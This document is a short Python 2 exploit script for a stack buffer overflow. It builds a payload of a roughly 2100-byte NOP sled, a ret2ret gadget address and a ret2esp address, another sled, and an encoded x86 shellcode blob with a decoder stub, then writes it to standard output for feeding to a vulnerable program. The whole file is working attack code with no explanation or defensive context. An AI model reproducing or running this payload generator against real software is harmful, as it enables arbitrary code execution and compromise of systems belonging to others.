import struct
import sys

ret2esp = struct.pack('<L',0xffffe777L)
ret2ret = struct.pack('<L',0x8048c0bL)


shellcode ="\x33\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xe3"
shellcode += "\x69\xec\x32\x83\xeb\xfc\xe2\xf4\x89\x62\xb4\xab\xb1\x0f\x84\x1f"
shellcode +="\x80\xe0\x0b\x5a\xcc\x1a\x84\x32\x8b\x46\x8e\x5b\x8d\xe0\x0f\x60"
shellcode +="\x0b\x47\xec\x32\xe3\x0a\x8d\x46\xc3\x46\x8a\x5e\x82\x0e\x9f\x1d"
shellcode +="\x87\x08\x89\x5f\x8c\x07\xdc\x01\xcc\x0f\x80\x53\x84\x47\x98\x4a"
shellcode +="\x97\x49\x90\x12\x8d\x0a\xcc\x1f\x8f\x49\xc1\x42\xc3\x58\xde\x01"
shellcode +="\xd7\x5c\xec\x65\xb0\xe0\x0d\xff\x63\x69\xec\x32"

sys.stdout.write("\x90"*(2104 - 4 ) +  ret2ret + ret2esp + "\x90"*100 + shellcode )